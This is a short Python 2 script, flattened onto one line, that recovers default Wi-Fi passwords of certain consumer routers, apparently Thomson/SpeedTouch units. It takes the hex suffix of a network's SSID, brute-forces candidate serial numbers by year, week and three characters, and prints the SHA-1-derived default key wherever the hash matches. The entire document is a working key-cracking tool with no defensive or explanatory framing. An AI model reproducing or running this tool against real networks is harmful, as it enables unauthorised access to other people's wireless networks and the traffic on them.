#!/usr/bin/env python # -*- coding: utf-8 -*- import sys import hashlib import binascii import itertools try: import psyco psyco.full() except: pass def product(*args, **kwds): # product('ABCD', 'xy') --> Ax Ay Bx By Cx Cy Dx Dy # product(range(2), repeat=3) --> 000 001 010 011 100 101 110 111 pools = map(tuple, args) * kwds.get('repeat', 1) result = [[]] for pool in pools: result = [x+[y] for x in result for y in pool] for prod in result: yield tuple(prod) if len(sys.argv) != 2: print "stkey.py " sys.exit(1) chars = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ" ssid = sys.argv[1].lower().strip() try: int(ssid, 16) except ValueError: print "%s is not a valid SSID." % ssid sys.exit(1) for year in range(8,11): print "Searching year %02d..." % year for week in range(1, 53): for xxx in product(chars, chars, chars): xx = "".join(xxx) serial = "CP%02d%02d%s" % (year, week, binascii.hexlify(xx).upper()) sha = hashlib.sha1(serial).hexdigest() if sha.endswith(ssid): print " Likely key: %s (serial %s)." % (sha[:10], "CP%02d%02d??%s" % (year, week, xx))